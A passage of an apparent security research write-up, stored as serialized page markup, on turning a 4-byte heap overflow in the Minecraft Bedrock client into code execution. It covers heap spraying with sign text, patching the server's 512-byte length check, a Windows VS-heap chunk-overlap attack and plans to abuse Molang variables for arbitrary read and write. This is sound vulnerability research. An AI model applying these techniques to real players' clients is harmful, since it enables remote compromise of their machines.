},[152107],{"type":26,"value":151197},{"type":21,"tag":85,"props":152109,"children":152110},{"style":114},[152111],{"type":26,"value":1439},{"type":21,"tag":85,"props":152113,"children":152114},{"style":5026},[152115],{"type":26,"value":151206},{"type":21,"tag":85,"props":152117,"children":152118},{"style":114},[152119],{"type":26,"value":2485},{"type":21,"tag":85,"props":152121,"children":152122},{"class":87,"line":24273},[152123],{"type":21,"tag":85,"props":152124,"children":152125},{"style":114},[152126],{"type":26,"value":125576},{"type":21,"tag":85,"props":152128,"children":152129},{"class":87,"line":24286},[152130],{"type":21,"tag":85,"props":152131,"children":152132},{"emptyLinePlaceholder":16},[152133],{"type":26,"value":703},{"type":21,"tag":85,"props":152135,"children":152136},{"class":87,"line":24299},[152137,152141,152145],{"type":21,"tag":85,"props":152138,"children":152139},{"style":114},[152140],{"type":26,"value":151472},{"type":21,"tag":85,"props":152142,"children":152143},{"style":169},[152144],{"type":26,"value":10004},{"type":21,"tag":85,"props":152146,"children":152147},{"style":114},[152148],{"type":26,"value":12189},{"type":21,"tag":85,"props":152150,"children":152151},{"class":87,"line":24353},[152152],{"type":21,"tag":85,"props":152153,"children":152154},{"style":114},[152155],{"type":26,"value":4118},{"type":21,"tag":85,"props":152157,"children":152158},{"class":87,"line":24362},[152159],{"type":21,"tag":85,"props":152160,"children":152161},{"style":114},[152162],{"type":26,"value":507},{"type":21,"tag":85,"props":152164,"children":152165},{"class":87,"line":32726},[152166],{"type":21,"tag":85,"props":152167,"children":152168},{"style":114},[152169],{"type":26,"value":2671},{"type":21,"tag":85,"props":152171,"children":152172},{"class":87,"line":32747},[152173],{"type":21,"tag":85,"props":152174,"children":152175},{"emptyLinePlaceholder":16},[152176],{"type":26,"value":703},{"type":21,"tag":85,"props":152178,"children":152179},{"class":87,"line":81413},[152180,152185,152189,152194,152198,152203,152207,152212,152216,152221,152225,152229],{"type":21,"tag":85,"props":152181,"children":152182},{"style":120},[152183],{"type":26,"value":152184},"world",{"type":21,"tag":85,"props":152186,"children":152187},{"style":114},[152188],{"type":26,"value":73},{"type":21,"tag":85,"props":152190,"children":152191},{"style":120},[152192],{"type":26,"value":152193},"afterEvents",{"type":21,"tag":85,"props":152195,"children":152196},{"style":114},[152197],{"type":26,"value":73},{"type":21,"tag":85,"props":152199,"children":152200},{"style":120},[152201],{"type":26,"value":152202},"playerSpawn",{"type":21,"tag":85,"props":152204,"children":152205},{"style":114},[152206],{"type":26,"value":73},{"type":21,"tag":85,"props":152208,"children":152209},{"style":1021},[152210],{"type":26,"value":152211},"subscribe",{"type":21,"tag":85,"props":152213,"children":152214},{"style":114},[152215],{"type":26,"value":31968},{"type":21,"tag":85,"props":152217,"children":152218},{"style":120},[152219],{"type":26,"value":152220},"arg",{"type":21,"tag":85,"props":152222,"children":152223},{"style":114},[152224],{"type":26,"value":736},{"type":21,"tag":85,"props":152226,"children":152227},{"style":102},[152228],{"type":26,"value":15240},{"type":21,"tag":85,"props":152230,"children":152231},{"style":114},[152232],{"type":26,"value":148},{"type":21,"tag":85,"props":152234,"children":152235},{"class":87,"line":81426},[152236,152241],{"type":21,"tag":85,"props":152237,"children":152238},{"style":1021},[152239],{"type":26,"value":152240},"    create_wall",{"type":21,"tag":85,"props":152242,"children":152243},{"style":114},[152244],{"type":26,"value":4437},{"type":21,"tag":85,"props":152246,"children":152247},{"class":87,"line":81434},[152248],{"type":21,"tag":85,"props":152249,"children":152250},{"style":114},[152251],{"type":26,"value":35785},{"type":21,"tag":85,"props":152253,"children":152254},{"class":87,"line":81442},[152255],{"type":21,"tag":85,"props":152256,"children":152257},{"emptyLinePlaceholder":16},[152258],{"type":26,"value":703},{"type":21,"tag":85,"props":152260,"children":152261},{"class":87,"line":81450},[152262,152266,152270,152275,152279,152284,152288,152292,152296,152300,152304,152308,152312,152316],{"type":21,"tag":85,"props":152263,"children":152264},{"style":120},[152265],{"type":26,"value":152184},{"type":21,"tag":85,"props":152267,"children":152268},{"style":114},[152269],{"type":26,"value":73},{"type":21,"tag":85,"props":152271,"children":152272},{"style":120},[152273],{"type":26,"value":152274},"beforeEvents",{"type":21,"tag":85,"props":152276,"children":152277},{"style":114},[152278],{"type":26,"value":73},{"type":21,"tag":85,"props":152280,"children":152281},{"style":120},[152282],{"type":26,"value":152283},"playerLeave",{"type":21,"tag":85,"props":152285,"children":152286},{"style":114},[152287],{"type":26,"value":73},{"type":21,"tag":85,"props":152289,"children":152290},{"style":1021},[152291],{"type":26,"value":152211},{"type":21,"tag":85,"props":152293,"children":152294},{"style":114},[152295],{"type":26,"value":1439},{"type":21,"tag":85,"props":152297,"children":152298},{"style":102},[152299],{"type":26,"value":36593},{"type":21,"tag":85,"props":152301,"children":152302},{"style":114},[152303],{"type":26,"value":717},{"type":21,"tag":85,"props":152305,"children":152306},{"style":120},[152307],{"type":26,"value":152220},{"type":21,"tag":85,"props":152309,"children":152310},{"style":114},[152311],{"type":26,"value":736},{"type":21,"tag":85,"props":152313,"children":152314},{"style":102},[152315],{"type":26,"value":15240},{"type":21,"tag":85,"props":152317,"children":152318},{"style":114},[152319],{"type":26,"value":148},{"type":21,"tag":85,"props":152321,"children":152322},{"class":87,"line":81490},[152323,152328],{"type":21,"tag":85,"props":152324,"children":152325},{"style":1021},[152326],{"type":26,"value":152327},"    remove_wall",{"type":21,"tag":85,"props":152329,"children":152330},{"style":114},[152331],{"type":26,"value":4437},{"type":21,"tag":85,"props":152333,"children":152334},{"class":87,"line":81498},[152335],{"type":21,"tag":85,"props":152336,"children":152337},{"style":114},[152338],{"type":26,"value":35785},{"type":21,"tag":22,"props":152340,"children":152341},{},[152342],{"type":26,"value":152343},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":21,"tag":22,"props":152345,"children":152346},{},[152347],{"type":21,"tag":4681,"props":152348,"children":152351},{"alt":152349,"src":152350},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":21,"tag":22,"props":152353,"children":152354},{},[152355],{"type":26,"value":152356},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":21,"tag":19318,"props":152358,"children":152360},{"id":152359},"a-small-roadblock",[152361],{"type":26,"value":152362},"A Small Roadblock",{"type":21,"tag":22,"props":152364,"children":152365},{},[152366],{"type":26,"value":152367},"While testing our heap spray method, we encountered the following error:",{"type":21,"tag":75,"props":152369,"children":152371},{"code":152370},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n    at alloc (index.js:169)\n",[152372],{"type":21,"tag":66,"props":152373,"children":152374},{"__ignoreMap":7},[152375],{"type":26,"value":152370},{"type":21,"tag":22,"props":152377,"children":152378},{},[152379,152381,152387],{"type":26,"value":152380},"An error is thrown by the server executable while trying to assign text longer than ",{"type":21,"tag":66,"props":152382,"children":152384},{"className":152383},[],[152385],{"type":26,"value":152386},"512",{"type":26,"value":152388}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":21,"tag":22,"props":152390,"children":152391},{},[152392],{"type":26,"value":152393},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":21,"tag":22,"props":152395,"children":152396},{},[152397],{"type":26,"value":152398},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":21,"tag":22,"props":152400,"children":152401},{},[152402],{"type":21,"tag":4681,"props":152403,"children":152405},{"alt":51034,"src":152404},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":21,"tag":22,"props":152407,"children":152408},{},[152409,152411,152417],{"type":26,"value":152410},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":21,"tag":66,"props":152412,"children":152414},{"className":152413},[],[152415],{"type":26,"value":152416},"string_length \u003C= 512",{"type":26,"value":152418}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":21,"tag":22,"props":152420,"children":152421},{},[152422],{"type":26,"value":152423},"The disassembly of the comparison looks like this:",{"type":21,"tag":22,"props":152425,"children":152426},{},[152427],{"type":21,"tag":4681,"props":152428,"children":152430},{"alt":51034,"src":152429},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":21,"tag":22,"props":152432,"children":152433},{},[152434,152436,152441,152443,152448,152449,152454,152456,152462,152464,152470,152472,152477,152479,152484],{"type":26,"value":152435},"The code compares ",{"type":21,"tag":66,"props":152437,"children":152439},{"className":152438},[],[152440],{"type":26,"value":57231},{"type":26,"value":152442}," (the string length) to ",{"type":21,"tag":66,"props":152444,"children":152446},{"className":152445},[],[152447],{"type":26,"value":128276},{"type":26,"value":717},{"type":21,"tag":66,"props":152450,"children":152452},{"className":152451},[],[152453],{"type":26,"value":152386},{"type":26,"value":152455}," decimal). It then performs a ",{"type":21,"tag":66,"props":152457,"children":152459},{"className":152458},[],[152460],{"type":26,"value":152461},"jbe",{"type":26,"value":152463},", jumping to address ",{"type":21,"tag":66,"props":152465,"children":152467},{"className":152466},[],[152468],{"type":26,"value":152469},"0x14275114c",{"type":26,"value":152471}," if ",{"type":21,"tag":66,"props":152473,"children":152475},{"className":152474},[],[152476],{"type":26,"value":57231},{"type":26,"value":152478}," is less than or equal to ",{"type":21,"tag":66,"props":152480,"children":152482},{"className":152481},[],[152483],{"type":26,"value":152386},{"type":26,"value":152485},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":21,"tag":22,"props":152487,"children":152488},{},[152489,152491,152496,152498,152504],{"type":26,"value":152490},"To force execution down this path, we patched the ",{"type":21,"tag":66,"props":152492,"children":152494},{"className":152493},[],[152495],{"type":26,"value":152461},{"type":26,"value":152497}," instruction to an unconditional ",{"type":21,"tag":66,"props":152499,"children":152501},{"className":152500},[],[152502],{"type":26,"value":152503},"jmp",{"type":26,"value":152505},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":21,"tag":22,"props":152507,"children":152508},{},[152509],{"type":21,"tag":4681,"props":152510,"children":152512},{"alt":51034,"src":152511},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":21,"tag":22,"props":152514,"children":152515},{},[152516,152518,152523,152525,152530],{"type":26,"value":152517},"After patching the server and calling ",{"type":21,"tag":66,"props":152519,"children":152521},{"className":152520},[],[152522],{"type":26,"value":150627},{"type":26,"value":152524}," with a size of ",{"type":21,"tag":66,"props":152526,"children":152528},{"className":152527},[],[152529],{"type":26,"value":58605},{"type":26,"value":152531},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":21,"tag":22,"props":152533,"children":152534},{},[152535],{"type":21,"tag":4681,"props":152536,"children":152538},{"alt":51034,"src":152537},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":21,"tag":19218,"props":152540,"children":152541},{},[],{"type":21,"tag":22,"props":152543,"children":152544},{},[152545],{"type":26,"value":152546},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":21,"tag":22,"props":152548,"children":152549},{},[152550],{"type":26,"value":152551},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":21,"tag":10022,"props":152553,"children":152555},{"id":152554},"overlapping-heap-chunks",[152556],{"type":26,"value":152557},"Overlapping Heap Chunks",{"type":21,"tag":22,"props":152559,"children":152560},{},[152561,152563,152568],{"type":26,"value":152562},"The attack is described in detail in the referenced blog post (",{"type":21,"tag":335,"props":152564,"children":152566},{"href":150371,"rel":152565},[339],[152567],{"type":26,"value":48039},{"type":26,"value":152569},"), so we will present a high-level overview.",{"type":21,"tag":22,"props":152571,"children":152572},{},[152573,152575,152581],{"type":26,"value":152574},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":21,"tag":66,"props":152576,"children":152578},{"className":152577},[],[152579],{"type":26,"value":152580},"_HEAP_VS_CHUNK_HEADER",{"type":26,"value":152582}," structure layout is required:",{"type":21,"tag":75,"props":152584,"children":152586},{"code":152585},"     +---------------------------+           +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost     |\n     +---------------------------+           +---------------+\n+0x8 |EncodedSegmentPageOffset   |      +0x2 |UnsafeSize     |\n     +---------------------------+           +---------------+\n+0x8 |UnusedBytes                |      +0x4 |UnsafePrevSize |\n     +---------------------------+           +---------------+\n     |           . . .           |      +0x6 |Allocated      |\n                                             +---------------+\n                                             |     . . .     |\n",[152587],{"type":21,"tag":66,"props":152588,"children":152589},{"__ignoreMap":7},[152590],{"type":26,"value":152585},{"type":21,"tag":22,"props":152592,"children":152593},{},[152594,152596,152602,152604,152610,152611,152617,152618,152624,152626,152631,152633,152638,152640,152646,152648,152653,152655,152661],{"type":26,"value":152595},"At offset 0 there is a header ",{"type":21,"tag":66,"props":152597,"children":152599},{"className":152598},[],[152600],{"type":26,"value":152601},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":26,"value":152603}," containing fields such as ",{"type":21,"tag":66,"props":152605,"children":152607},{"className":152606},[],[152608],{"type":26,"value":152609},"MemoryCost",{"type":26,"value":256},{"type":21,"tag":66,"props":152612,"children":152614},{"className":152613},[],[152615],{"type":26,"value":152616},"UnsafeSize",{"type":26,"value":256},{"type":21,"tag":66,"props":152619,"children":152621},{"className":152620},[],[152622],{"type":26,"value":152623},"UnsafePrevSize",{"type":26,"value":152625},", etc. For the attack we only care about the ",{"type":21,"tag":66,"props":152627,"children":152629},{"className":152628},[],[152630],{"type":26,"value":152616},{"type":26,"value":152632}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":21,"tag":66,"props":152634,"children":152636},{"className":152635},[],[152637],{"type":26,"value":126899},{"type":26,"value":152639},", so for a chunk of size ",{"type":21,"tag":66,"props":152641,"children":152643},{"className":152642},[],[152644],{"type":26,"value":152645},"0x4010",{"type":26,"value":152647}," the value of ",{"type":21,"tag":66,"props":152649,"children":152651},{"className":152650},[],[152652],{"type":26,"value":152616},{"type":26,"value":152654}," would be ",{"type":21,"tag":66,"props":152656,"children":152658},{"className":152657},[],[152659],{"type":26,"value":152660},"0x401",{"type":26,"value":73},{"type":21,"tag":22,"props":152663,"children":152664},{},[152665,152666,152671],{"type":26,"value":64675},{"type":21,"tag":66,"props":152667,"children":152669},{"className":152668},[],[152670],{"type":26,"value":152616},{"type":26,"value":152672}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":21,"tag":22,"props":152674,"children":152675},{},[152676,152678,152683,152685,152690,152692,152698,152700,152705],{"type":26,"value":152677},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":21,"tag":66,"props":152679,"children":152681},{"className":152680},[],[152682],{"type":26,"value":152616},{"type":26,"value":152684}," in the smallest possible VS chunk (",{"type":21,"tag":66,"props":152686,"children":152688},{"className":152687},[],[152689],{"type":26,"value":152645},{"type":26,"value":152691},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":21,"tag":66,"props":152693,"children":152695},{"className":152694},[],[152696],{"type":26,"value":152697},"[0x10, 0xffff0]",{"type":26,"value":152699}," range, the probability that it exceeds ",{"type":21,"tag":66,"props":152701,"children":152703},{"className":152702},[],[152704],{"type":26,"value":152645},{"type":26,"value":152706}," is:",{"type":21,"tag":75,"props":152708,"children":152710},{"code":152709},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[152711],{"type":21,"tag":66,"props":152712,"children":152713},{"__ignoreMap":7},[152714],{"type":26,"value":152709},{"type":21,"tag":22,"props":152716,"children":152717},{},[152718],{"type":26,"value":152719},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":21,"tag":22,"props":152721,"children":152722},{},[152723],{"type":26,"value":152724},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":21,"tag":19318,"props":152726,"children":152728},{"id":152727},"overlap-attack-overview",[152729],{"type":26,"value":152730},"Overlap Attack Overview",{"type":21,"tag":22,"props":152732,"children":152733},{},[152734,152736,152741],{"type":26,"value":152735},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":21,"tag":66,"props":152737,"children":152739},{"className":152738},[],[152740],{"type":26,"value":126922},{"type":26,"value":152742}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":21,"tag":22,"props":152744,"children":152745},{},[152746,152748,152753,152755,152760],{"type":26,"value":152747},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":21,"tag":66,"props":152749,"children":152751},{"className":152750},[],[152752],{"type":26,"value":148630},{"type":26,"value":152754},"-sized chunks in the free list that we want to avoid. If a ",{"type":21,"tag":66,"props":152756,"children":152758},{"className":152757},[],[152759],{"type":26,"value":148630},{"type":26,"value":152761},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":21,"tag":22,"props":152763,"children":152764},{},[152765,152767,152772],{"type":26,"value":152766},"To remove those ",{"type":21,"tag":66,"props":152768,"children":152770},{"className":152769},[],[152771],{"type":26,"value":148630},{"type":26,"value":152773},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":21,"tag":22,"props":152775,"children":152776},{},[152777],{"type":26,"value":152778},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":21,"tag":75,"props":152780,"children":152782},{"code":152781},"+--------+--------+--------+--------+--------+\n|        |        |        |        |        |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n|        |        |        |        |        |\n+--------+--------+--------+--------+--------+\n",[152783],{"type":21,"tag":66,"props":152784,"children":152785},{"__ignoreMap":7},[152786],{"type":26,"value":152781},{"type":21,"tag":22,"props":152788,"children":152789},{},[152790,152792,152797,152799,152804],{"type":26,"value":152791},"Next we create ",{"type":21,"tag":39,"props":152793,"children":152794},{},[152795],{"type":26,"value":152796},"holes",{"type":26,"value":152798}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":21,"tag":66,"props":152800,"children":152802},{"className":152801},[],[152803],{"type":26,"value":148630},{"type":26,"value":152805},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":21,"tag":75,"props":152807,"children":152809},{"code":152808},"            Free              Free            \n+--------+--------+--------+--------+--------+\n|        |........|        |........|        |\n| Sign A |........| Sign C |........| Sign F |\n|        |........|        |........|        |\n+--------+--------+--------+--------+--------+\n",[152810],{"type":21,"tag":66,"props":152811,"children":152812},{"__ignoreMap":7},[152813],{"type":26,"value":152808},{"type":21,"tag":22,"props":152815,"children":152816},{},[152817,152819,152824,152826,152831],{"type":26,"value":152818},"When a ",{"type":21,"tag":66,"props":152820,"children":152822},{"className":152821},[],[152823],{"type":26,"value":148630},{"type":26,"value":152825}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":21,"tag":66,"props":152827,"children":152829},{"className":152828},[],[152830],{"type":26,"value":152616},{"type":26,"value":152832}," field will be overwritten:",{"type":21,"tag":75,"props":152834,"children":152836},{"code":152835},"                           +--------+         \n            Free           |        |         \n+--------+--------+--------+ g->out +--------+\n|        |........|        |        |        |\n| Sign A |........| Sign C +--------+ Sign F |\n|        |........|        |        |        |\n+--------+--------+--------+        +--------+\n",[152837],{"type":21,"tag":66,"props":152838,"children":152839},{"__ignoreMap":7},[152840],{"type":26,"value":152835},{"type":21,"tag":22,"props":152842,"children":152843},{},[152844,152846,152851,152853,152858,152860,152865],{"type":26,"value":152845},"Once ",{"type":21,"tag":66,"props":152847,"children":152849},{"className":152848},[],[152850],{"type":26,"value":152616},{"type":26,"value":152852}," has been overwritten, ",{"type":21,"tag":66,"props":152854,"children":152856},{"className":152855},[],[152857],{"type":26,"value":148630},{"type":26,"value":152859}," allocation is freed immediately after, restoring the previous layout but with ",{"type":21,"tag":66,"props":152861,"children":152863},{"className":152862},[],[152864],{"type":26,"value":152616},{"type":26,"value":152866}," field corrupted:",{"type":21,"tag":75,"props":152868,"children":152870},{"code":152869},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n            Free              Free      |           \n+--------+--------+--------+--------+---+----+      \n|        |........|        |........|        |      \n| Sign A |........| Sign C |........| Sign F |      \n|        |........|        |........|        |      \n+--------+--------+--------+--------+--------+      \n",[152871],{"type":21,"tag":66,"props":152872,"children":152873},{"__ignoreMap":7},[152874],{"type":26,"value":152869},{"type":21,"tag":22,"props":152876,"children":152877},{},[152878],{"type":26,"value":152879},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":21,"tag":75,"props":152881,"children":152883},{"code":152882},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n                                        |           \n+--------+--------+--------+--------+---+----+      \n|        |        |        |        |        |      \n| Sign A | Sign B | Sign C | Sign D | Sign F |      \n|        |        |        |        |        |      \n+--------+--------+--------+--------+--------+      \n",[152884],{"type":21,"tag":66,"props":152885,"children":152886},{"__ignoreMap":7},[152887],{"type":26,"value":152882},{"type":21,"tag":22,"props":152889,"children":152890},{},[152891],{"type":26,"value":152892},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":21,"tag":75,"props":152894,"children":152896},{"code":152895},"                                       Freed Overwritten   \n                                               |           \n                                    +----------+----------+\n                                    |                     |\n   Free              Free           v                     v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........|        |........|        |........|             \n|........| Sign B |........| Sign D |........| Other chunks\n|........|        |........|        |........|             \n+--------+--------+--------+--------+--------+- - - - - - -\n",[152897],{"type":21,"tag":66,"props":152898,"children":152899},{"__ignoreMap":7},[152900],{"type":26,"value":152895},{"type":21,"tag":19218,"props":152902,"children":152903},{},[],{"type":21,"tag":22,"props":152905,"children":152906},{},[152907],{"type":26,"value":152908},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":21,"tag":22,"props":152910,"children":152911},{},[152912],{"type":26,"value":152913},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":21,"tag":10022,"props":152915,"children":152917},{"id":152916},"molang",[152918],{"type":26,"value":152919},"Molang",{"type":21,"tag":22,"props":152921,"children":152922},{},[152923,152925,152932],{"type":26,"value":152924},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":21,"tag":335,"props":152926,"children":152929},{"href":152927,"rel":152928},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[339],[152930],{"type":26,"value":152931},"syntax guide",{"type":26,"value":73},{"type":21,"tag":22,"props":152934,"children":152935},{},[152936,152938,152943,152944,152949],{"type":26,"value":152937},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":21,"tag":66,"props":152939,"children":152941},{"className":152940},[],[152942],{"type":26,"value":2936},{"type":26,"value":11408},{"type":21,"tag":66,"props":152945,"children":152947},{"className":152946},[],[152948],{"type":26,"value":16108},{"type":26,"value":152950}," operators are supported.",{"type":21,"tag":22,"props":152952,"children":152953},{},[152954,152956,152962,152964,152969,152971,152976,152977,152982,152983],{"type":26,"value":152955},"Variables are defined by prepending ",{"type":21,"tag":66,"props":152957,"children":152959},{"className":152958},[],[152960],{"type":26,"value":152961},"variable.",{"type":26,"value":152963}," to the name and assigning a value. For example, to define ",{"type":21,"tag":66,"props":152965,"children":152967},{"className":152966},[],[152968],{"type":26,"value":3463},{"type":26,"value":152970}," as the sum of ",{"type":21,"tag":66,"props":152972,"children":152974},{"className":152973},[],[152975],{"type":26,"value":335},{"type":26,"value":11408},{"type":21,"tag":66,"props":152978,"children":152980},{"className":152979},[],[152981],{"type":26,"value":3994},{"type":26,"value":15750},{"type":21,"tag":66,"props":152984,"children":152986},{"className":152985},[],[152987],{"type":26,"value":152988},"variable.result = variable.a + variable.b;",{"type":21,"tag":22,"props":152990,"children":152991},{},[152992,152994,152999,153000,153005,153006,153011,153012,153017],{"type":26,"value":152993},"Logical operators such as ",{"type":21,"tag":66,"props":152995,"children":152997},{"className":152996},[],[152998],{"type":26,"value":22847},{"type":26,"value":256},{"type":21,"tag":66,"props":153001,"children":153003},{"className":153002},[],[153004],{"type":26,"value":73657},{"type":26,"value":256},{"type":21,"tag":66,"props":153007,"children":153009},{"className":153008},[],[153010],{"type":26,"value":117},{"type":26,"value":256},{"type":21,"tag":66,"props":153013,"children":153015},{"className":153014},[],[153016],{"type":26,"value":10877},{"type":26,"value":153018},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":21,"tag":75,"props":153020,"children":153022},{"code":153021},"(variable.result == 3) ? {\n    return 1;\n} : {\n    return 0;\n}\n",[153023],{"type":21,"tag":66,"props":153024,"children":153025},{"__ignoreMap":7},[153026],{"type":26,"value":153021},{"type":21,"tag":22,"props":153028,"children":153029},{},[153030],{"type":26,"value":153031},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":21,"tag":19318,"props":153033,"children":153035},{"id":153034},"molang-internals",[153036],{"type":26,"value":153037},"Molang Internals",{"type":21,"tag":22,"props":153039,"children":153040},{},[153041],{"type":26,"value":153042},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":21,"tag":22,"props":153044,"children":153045},{},[153046],{"type":26,"value":153047},"Below we describe the structures involved and their memory layout.",{"type":21,"tag":19318,"props":153049,"children":153051},{"id":153050},"molangvariable-and-molangscriptarg",[153052],{"type":26,"value":153053},"MolangVariable and MolangScriptArg",{"type":21,"tag":22,"props":153055,"children":153056},{},[153057,153058,153064],{"type":26,"value":102813},{"type":21,"tag":66,"props":153059,"children":153061},{"className":153060},[],[153062],{"type":26,"value":153063},"MolangVariable",{"type":26,"value":153065}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":21,"tag":75,"props":153067,"children":153069},{"code":153068,"language":3918,"meta":7,"className":16935,"style":7},"struct MolangVariable {\n    \n    struct HashedString {\n        uint64_t variable_name_hash;\n        std::string variable_name;\n    };\n    \n    struct MolangScriptArg {\n        uint32_t value_type;\n        uint64_t value;\n        std::vector\u003Cstruct MolangScriptArg> struct_fields;\n        \n        [...]\n    };\n};\n",[153070],{"type":21,"tag":66,"props":153071,"children":153072},{"__ignoreMap":7},[153073,153085,153092,153104,153117,153125,153132,153139,153151,153164,153176,153206,153214,153221,153228],{"type":21,"tag":85,"props":153074,"children":153075},{"class":87,"line":88},[153076,153080],{"type":21,"tag":85,"props":153077,"children":153078},{"style":102},[153079],{"type":26,"value":9814},{"type":21,"tag":85,"props":153081,"children":153082},{"style":114},[153083],{"type":26,"value":153084}," MolangVariable {\n",{"type":21,"tag":85,"props":153086,"children":153087},{"class":87,"line":98},[153088],{"type":21,"tag":85,"props":153089,"children":153090},{"style":114},[153091],{"type":26,"value":62244},{"type":21,"tag":85,"props":153093,"children":153094},{"class":87,"line":151},[153095,153099],{"type":21,"tag":85,"props":153096,"children":153097},{"style":102},[153098],{"type":26,"value":375},{"type":21,"tag":85,"props":153100,"children":153101},{"style":114},[153102],{"type":26,"value":153103}," HashedString {\n",{"type":21,"tag":85,"props":153105,"children":153106},{"class":87,"line":160},[153107,153112],{"type":21,"tag":85,"props":153108,"children":153109},{"style":102},[153110],{"type":26,"value":153111},"        uint64_t",{"type":21,"tag":85,"props":153113,"children":153114},{"style":114},[153115],{"type":26,"value":153116}," variable_name_hash;\n",{"type":21,"tag":85,"props":153118,"children":153119},{"class":87,"line":185},[153120],{"type":21,"tag":85,"props":153121,"children":153122},{"style":114},[153123],{"type":26,"value":153124},"        std::string variable_name;\n",{"type":21,"tag":85,"props":153126,"children":153127},{"class":87,"line":501},[153128],{"type":21,"tag":85,"props":153129,"children":153130},{"style":114},[153131],{"type":26,"value":39445},{"type":21,"tag":85,"props":153133,"children":153134},{"class":87,"line":697},[153135],{"type":21,"tag":85,"props":153136,"children":153137},{"style":114},[153138],{"type":26,"value":62244},{"type":21,"tag":85,"props":153140,"children":153141},{"class":87,"line":706},[153142,153146],{"type":21,"tag":85,"props":153143,"children":153144},{"style":102},[153145],{"type":26,"value":375},{"type":21,"tag":85,"props":153147,"children":153148},{"style":114},[153149],{"type":26,"value":153150}," MolangScriptArg {\n",{"type":21,"tag":85,"props":153152,"children":153153},{"class":87,"line":1100},[153154,153159],{"type":21,"tag":85,"props":153155,"children":153156},{"style":102},[153157],{"type":26,"value":153158},"        uint32_t",{"type":21,"tag":85,"props":153160,"children":153161},{"style":114},[153162],{"type":26,"value":153163}," value_type;\n",{"type":21,"tag":85,"props":153165,"children":153166},{"class":87,"line":1339},[153167,153171],{"type":21,"tag":85,"props":153168,"children":153169},{"style":102},[153170],{"type":26,"value":153111},{"type":21,"tag":85,"props":153172,"children":153173},{"style":114},[153174],{"type":26,"value":153175}," 